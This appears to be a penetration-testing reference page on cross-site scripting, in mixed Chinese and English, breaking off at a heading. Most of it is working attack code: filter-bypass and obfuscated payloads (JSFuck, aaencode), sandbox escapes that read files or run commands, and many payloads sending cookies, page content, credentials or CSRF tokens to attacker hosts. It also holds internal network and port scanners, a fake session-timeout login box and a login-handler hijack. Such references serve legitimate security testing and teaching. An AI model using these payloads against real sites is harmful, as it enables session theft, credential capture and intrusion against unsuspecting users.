DOM vulnerabilities

存在 JS code 在使用诸如 location.href 之类的不安全、由攻击者控制的数据。攻击者可以滥用此来执行任意 JS code
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page

DOM XSS

在该页面你会找到关于 what DOM vulnerabilities are、how are they provoked、and how to exploit them 的详细解释。
另外,别忘了在上文末尾可以找到关于 DOM Clobbering attacks 的说明。

升级 Self-XSS

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Sending your session to the admin

也许用户可以将他的配置文件分享给管理员,如果 self XSS 存在于该用户的个人资料中且管理员访问了该资料,就会触发该漏洞。

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

You could make the administrator trigger your self XSS and steal his cookies/session.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

当 web 应用使用 Emscripten/WASM 时,常量字符串(例如 HTML 格式的模板)存放在可写的 linear memory 中。一次 in‑WASM 的溢出(例如编辑路径中未检查的 memcpy)可以破坏相邻结构并将写入重定向到这些常量。将模板如 “

%.*s

” 覆盖为 “” 会把被 sanitize 过的输入变为 JavaScript handler 值,从而在渲染时立即造成 DOM XSS。

查看专门页面以了解利用工作流、DevTools 内存辅助工具和防御措施:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

由于 RoR mass assignment,引号会被插入到 HTML 中,从而绕过引号限制,可以在标签内部添加额外字段(onfocus)。
表单示例 (from this report),如果你发送以下 payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

键值对 “Key”,“Value” 将被回显如下:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

然后,onfocus 属性将被插入并发生 XSS。

特殊组合

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

在 302 响应中通过头注入实现 XSS

如果你发现你可以 inject headers in a 302 Redirect response,你可以尝试 make the browser execute arbitrary JavaScript。这并不是 not trivial,因为现代浏览器在 HTTP response 状态码为 302 时不会解析 HTTP response body,所以单纯的跨站脚本有效载荷是无用的。

this reportthis one 中,你可以看到如何在 Location header 中测试多个协议,并查看是否有任何协议允许浏览器检查并执行 body 中的 XSS payload。
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

仅限字母、数字和点

如果你能够指定将由 javascript 要 executecallback,且该 callback 限制为这些字符,阅读该帖的本节 来了解如何滥用此行为。

有效的 <script> Content-Types 用于 XSS

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script 类型(用于 XSS)

(From here) 那么,可以用来加载脚本的类型有哪些?

<script type="???"></script>

答案是:

  • module (默认,无需解释)
  • webbundle: Web Bundles 是一项功能,你可以将一堆数据(HTML、CSS、JS…)打包到一个 .wbn 文件中。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

该行为被用于 this writeup 来将一个库重映射到 eval,滥用后可以触发 XSS。

  • speculationrules: 该功能主要为了解决由预渲染引起的一些问题。它的工作方式如下:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

网页 Content-Types 导致 XSS

(From here) 以下 Content-Types 可以在所有浏览器中执行 XSS:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? 不在列表中,但我记得在一次 CTF 中见过)
  • application/rss+xml (off)
  • application/atom+xml (off)

在其他浏览器中,其他 Content-Types 也可以用来执行任意 JS,详见: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml 内容类型

如果页面返回 text/xml content-type,可以指定一个命名空间并执行任意 JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

特殊替换模式

当像 "some {{template}} data".replace("{{template}}", <user_input>) 这样的用法出现时,攻击者可能会使用 special string replacements 来尝试绕过某些防护: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

例如在 this writeup,这被用于在脚本内部转义 JSON 字符串并执行任意代码。

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

如果你只能使用有限的字符集,请查看这些针对 XSJail 问题的其他有效解决方案:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

如果在执行不受信任的代码之前 everything is undefined(例如在 this writeup),就有可能“凭空”生成有用的对象,从而滥用任意不受信任代码的执行:

  • 使用 import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • 间接访问 require

According to this 模块被 Node.js 包裹在一个函数中,如下:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

因此,如果我们可以从该模块调用另一个函数,就可以在该函数中使用 arguments.callee.caller.arguments[1] 来访问 require

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

与前面的例子类似,可以通过 use error handlers 访问模块的 wrapper 并获取 require 函数:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

混淆与高级绕过

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS 常见 payloads

多个 payloads 合并为 1

Steal Info JS

Iframe Trap

使用户在页面中在不退出 iframe 的情况下导航,并窃取其操作(包括表单提交的信息):

Iframe Traps

获取 Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

如果 cookie 设置了 HTTPOnly 标志,你 将无法从 JavaScript 访问 cookies。但如果你足够幸运,这里有 一些方法可以绕过此保护

窃取页面内容

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

查找内网 IPs

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

端口扫描器 (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

短时间表示端口有响应 较长时间表示无响应.

查看 Chrome 中被禁止的端口列表 here 和 Firefox 中的列表 here

请求凭据的框

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

自动填充密码捕获

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

当在 password field 中输入任何数据时,username 和 password 会被发送到攻击者的服务器;即使客户端选择了 saved password 而没有手动输入,credentials 也会被 ex-filtrated。

Hijack form handlers to exfiltrate credentials (const shadowing)

如果一个关键 handler(例如 function DoLogin(){...})在页面后面声明,而你的 payload 早些运行(例如通过 inline JS-in-JS sink),那么先用相同名字定义一个 const 来抢占并锁定该 handler。后续的 function 声明无法重新绑定一个 const 名称,这样你的 hook 就能保持控制:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

注意事项

  • 这依赖于执行顺序:你的注入必须在合法声明之前执行。
  • 如果你的 payload 被 eval(...) 包裹,const/let 绑定不会成为全局变量。使用动态的 <script> 注入技术(参见 “Deliverable payloads with eval(atob()) and scope nuances” 一节)以确保真正的全局、不可重新绑定的绑定。
  • 当关键字过滤阻止代码时,结合使用 Unicode 转义标识符或 eval(atob('...')) 传递方式,如上所示。

Keylogger

在 github 上随便搜了下,我找到几个不同的项目:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

窃取 PostMessage 消息

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin 脚本加载器 (opener-gated)

如果页面 event.originpostMessage 存储起来并随后将其拼接到脚本 URL 中,发送者控制已加载 JS 的 origin

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

利用手法(来自 CAPIG):

  • 门控:仅在 window.opener 存在且 pixel_id 在允许列表中时触发;从不检查 origin
  • 使用 CSP-allowed origin:转向一个已被受害者 CSP 允许的域(例如,允许分析的未登录帮助页面,如 *.THIRD-PARTY.com),并通过 takeover/XSS/upload 在该域托管 /sdk/<pixel_id>/iwl.js
  • 恢复 opener:在 Android WebView 中,window.name='x'; window.open(target,'x') 使页面成为其自己的 opener;从被劫持的 iframe 发送恶意的 postMessage
  • 触发:iframe 发布 {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>};父页面随后从被 CSP 允许的 origin 加载攻击者的 iwl.js 并执行它。

这会将无 origin 的 postMessage 验证转变为一个远程脚本加载原语(remote script loader primitive),如果你能落在策略已允许的任何 origin 上,它可以绕过并存活于 CSP。

供应链级 stored XSS:通过后端 JS 拼接

当后端通过将 JS 字符串与用户可控值拼接来构建共享 SDK时,任何引号/结构中断符都可以注入脚本,这些脚本会被提供给每个使用者:

